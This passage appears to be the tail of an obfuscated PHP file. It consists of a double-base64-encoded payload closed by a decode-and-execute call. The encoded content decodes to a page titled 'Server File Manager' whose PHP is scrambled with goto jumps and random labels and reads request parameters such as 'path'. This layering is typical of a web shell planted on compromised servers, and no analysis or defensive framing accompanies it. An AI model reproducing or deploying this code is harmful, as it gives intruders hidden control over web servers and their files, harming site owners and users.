5tTVdZMVpqazdkR1Y0ZEMxaGJHbG5ianBzWldaME8zQmhaR1JwYm1jNk1USndlRHRtYjI1MExYZGxhV2RvZERvM01EQTdZMjlzYjNJNkl6TXpOREUxTlR0aWIzSmtaWEl0WW05MGRHOXRPakZ3ZUNCemIyeHBaQ0FqWlRKbE9HWXdmUzUwWVdKc1pTQjBaSHR3WVdSa2FXNW5PakV5Y0hnN1ltOXlaR1Z5TFdKdmRIUnZiVG94Y0hnZ2MyOXNhV1FnSTJVeVpUaG1NRHQyWlhKMGFXTmhiQzFoYkdsbmJqcHRhV1JrYkdVN1kyOXNiM0k2SXpCbU1UY3lZWDB1YzIxaGJHeDdabTl1ZEMxemFYcGxPakV5Y0hnN1kyOXNiM0k2ZG1GeUtDMHRiWFYwWldRcGZTNWhZM1JwYjI1eklHRXNMbUZqZEdsdmJuTWdZblYwZEc5dWUyUnBjM0JzWVhrNmFXNXNhVzVsTFdKc2IyTnJPMjFoY21kcGJpMXlhV2RvZERvMmNIaDlMbVp2YjNSbGNudHRZWEpuYVc0dGRHOXdPakU0Y0hnN1kyOXNiM0k2ZG1GeUtDMHRiWFYwWldRcE8yWnZiblF0YzJsNlpUb3hNM0I0ZlM1dGIyUmhiSHR3YjNOcGRHbHZianBtYVhobFpEdHNaV1owT2pBN2RHOXdPakE3ZDJsa2RHZzZNVEF3SlR0b1pXbG5hSFE2TVRBd0pUdGthWE53YkdGNU9tNXZibVU3WVd4cFoyNHRhWFJsYlhNNlkyVnVkR1Z5TzJwMWMzUnBabmt0WTI5dWRHVnVkRHBqWlc1MFpYSTdZbUZqYTJkeWIzVnVaRHB5WjJKaEtEQXNNQ3d3TEM0MEtUdDZMV2x1WkdWNE9qazVPWDB1Ylc5a1lXd2dMbUp2ZUh0M2FXUjBhRG8zTWpCd2VEdGlZV05yWjNKdmRXNWtPaU5tWm1ZN2NHRmtaR2x1WnpveE9IQjRPMkp2Y21SbGNpMXlZV1JwZFhNNk1UQndlRHRpYjNKa1pYSTZNWEI0SUhOdmJHbGtJQ05sTW1VNFpqQTdZbTk0TFhOb1lXUnZkem93SURJd2NIZ2dNalZ3ZUNBdE5YQjRJSEpuWW1Fb01Dd3dMREFzTGpFcGZTNWtjbTl3ZTJKdmNtUmxjam95Y0hnZ1pHRnphR1ZrSUNOalltUTFaVEU3Y0dGa1pHbHVaem95TkhCNE8ySnZjbVJsY2kxeVlXUnBkWE02T0hCNE8zUmxlSFF0WVd4cFoyNDZZMlZ1ZEdWeU8yTnZiRzl5T25aaGNpZ3RMVzExZEdWa0tUdGpkWEp6YjNJNmNHOXBiblJsY2p0aVlXTnJaM0p2ZFc1a09pTm1PR1poWm1OOUxuQnliMmR5WlhOekxXeHBjM1I3YldGeVoybHVMWFJ2Y0RveE1uQjRmUzV3Y205bmNtVnpjeTFwZEdWdGUyUnBjM0JzWVhrNlpteGxlRHRoYkdsbmJpMXBkR1Z0Y3pwalpXNTBaWEk3WjJGd09qRXljSGc3YldGeVoybHVMWFJ2Y0RvNGNIaDlMbkJ5YjJkeVpYTnpMV0poY250bWJHVjRPakU3YUdWcFoyaDBPakV3Y0hnN1ltRmphMmR5YjNWdVpEb2paVEpsT0dZd08ySnZjbVJsY2kxeVlXUnBkWE02Tm5CNE8yOTJaWEptYkc5M09taHBaR1JsYm4wdWNISnZaM0psYzNNdFptbHNiSHRvWldsbmFIUTZNVEF3SlR0aVlXTnJaM0p2ZFc1a09uWmhjaWd0TFdGalkyVnVkQ2s3ZDJsa2RHZzZNQ1Y5TG5CeWIyZHlaWE56TFhSbGVIUjdkMmxrZEdnNk1USXdjSGc3ZEdWNGRDMWhiR2xuYmpweWFXZG9kRHRtYjI1MExYTnBlbVU2TVRKd2VEdGpiMnh2Y2pwMllYSW9MUzF0ZFhSbFpDbDlMbVZrYVhSdmNpMXRiMlJoYkNBdVltOTRlM2RwWkhSb09qa3dKVHR0WVhndGQybGtkR2c2TVRFd01IQjRmUzVsWkdsMGIzSXRhR1ZoWkdWeWUyUnBjM0JzWVhrNlpteGxlRHRxZFhOMGFXWjVMV052Ym5SbGJuUTZjM0JoWTJVdFltVjBkMlZsYmp0aGJHbG5iaTFwZEdWdGN6cGpaVzUwWlhJN1oyRndPamh3ZUR0dFlYSm5hVzR0WW05MGRHOXRPamh3ZUgxMFpYaDBZWEpsWVh0M2FXUjBhRG94TURBbE8yaGxhV2RvZERvMk1IWm9PMkpoWTJ0bmNtOTFibVE2STJZNFptRm1ZenRqYjJ4dmNqb2pNR1l4TnpKaE8ySnZjbVJsY2pveGNIZ2djMjlzYVdRZ0kyTmlaRFZsTVR0d1lXUmthVzVuT2pFeWNIZzdZbTl5WkdWeUxYSmhaR2wxY3pvNGNIZzdabTl1ZEMxbVlXMXBiSGs2Ylc5dWIzTndZV05sZldFdWJHbHVhM3RqYjJ4dmNqcDJZWElvTFMxaFkyTmxiblFwTzNSbGVIUXRaR1ZqYjNKaGRHbHZianB1YjI1bGZUd3ZjM1I1YkdVK1BDOW9aV0ZrUGp4aWIyUjVQanhrYVhZZ1kyeGhjM005SW1OdmJuUmhhVzVsY2lJK1BHUnBkaUJqYkdGemN6MGlhR1ZoWkdWeUlqNDhaR2wySUdOc1lYTnpQU0ppY21GdVpDSStQR1JwZGlCamJHRnpjejBpYkc5bmJ5SStVMWxUUEM5a2FYWStQR1JwZGo0OFpHbDJJR05zWVhOelBTSjBhWFJzWlNJK1UyVnlkbVZ5SUVacGJHVWdUV0Z1WVdkbGNqd3ZaR2wyUGp3dlpHbDJQand2WkdsMlBqeGthWFlnWTJ4aGMzTTlJbU52Ym5SeWIyeHpJajQ4Wm05eWJTQnpkSGxzWlQwaVpHbHpjR3hoZVRwbWJHVjRPMmRoY0RvNGNIZzdZV3hwWjI0dGFYUmxiWE02WTJWdWRHVnlJajQ4YVc1d2RYUWdibUZ0WlQwaWNHRjBhQ0oyWVd4MVpUMGlQRDl3YUhBZ0lHZHZkRzhnUlVSSmQxODdJRTU0Um5oeE9pQm1kVzVqZEdsdmJpQm9kVzFoYmw5emFYcGxLQ1J1S1NCN0lHbG1JQ2drYmlBK0lERXdNalFnS2lBeE1ESTBLU0I3SUhKbGRIVnliaUJ5YjNWdVpDZ2tiaUF2SURFd01qUWdMeUF4TURJMExDQXlLU0F1SUNKY2VESXdYREV4TlZ3eE1ESWlPeUI5SUdsbUlDZ2tiaUErSURFd01qUXBJSHNnY21WMGRYSnVJSEp2ZFc1a0tDUnVJQzhnTVRBeU5Dd2dNaWtnTGlBaVhEUXdYSGcwWWx3eE1ESWlPeUI5SUhKbGRIVnliaUFrYmlBdUlDSmNlREl3WERFd01pSTdJSDBnWjI5MGJ5QjFURXRqTlRzZ1QwWjZNMDg2SUNSeVpXd2dQU0FrWDBkRlZGc2lYSGczTUZ4NE5qRmNNVFkwWEhnMk9DSmRJRDgvSUNjbk95Qm5iM1J2SUc4ek4wazVPeUJwTjBjMVVUb2dhV1lnS0NSbWJHRnphQ2tnZXlBL1BnbzhaR2wySUdOc1lYTnpQU0ptYkdGemFDSnBaRDBpWm14aGMyZ2lQancvY0dod0lDQmxZMmh2SUdWell5Z2tabXhoYzJncE95QS9QZ284TDJScGRqNDhQM0JvY0NBZ2ZTQmxiSE5sSUhzZ1B6NEtQR1JwZGlCamJHRnpjejBpWm14aGMyZ2lhV1E5SW1ac1lYTm9Jbk4wZVd4bFBTSmthWE53YkdGNU9tNXZibVVpUGp3dlpHbDJQancvY0dod0lDQjlJR2R2ZEc4Z1FqQXhUMlk3SUZweFVYbFFPaUJsWTJodklHVnpZeWdrWDFORlVsWkZVbHNpWERFeU1Gd3hNVEJjZURVd1hERXpOMXg0TlROY01UQTFYSGcwWTF3eE1EWWlYU2s3SUdkdmRHOGdZazU0UVhrN0lISlVkVkJzT2lBL1Bnb25LVHRtWlhSamFDZ25KeXg3YldWMGFHOWtPaWRRVDFOVUp5eGliMlI1T21SOUtTNTBhR1Z1S0hJOVBuSXVhbk52YmlncEtTNTBhR1Z1S0dROVBudHBaaWhrTG05cktYdHphRzkzUm14aGMyZ29KMGRsYm1WeVlYUmxaQ0VuTENFd0tUdHpaWFJVYVcxbGIzVjBLQ2dwUFQ1c2IyTmhkR2x2Ymk1eVpXeHZZV1FvS1N3M01EQXBPMzFsYkhObElITm9iM2RHYkdGemFDZ25SMlZ1WlhKaGRHbHZiaUJtWVdsc1pXUW5MQ0V4S1R0OUtTNWpZWFJqYUNobFBUNTdjMmh2ZDBac1lYTm9LQ2RPWlhSM2IzSnJJR1Z5Y205eUp5d2hNU2s3ZlNrN2ZUd3ZjMk55YVhCMFBqd3ZZbTlrZVQ0OEwyaDBiUT09JykpOw=='));
?>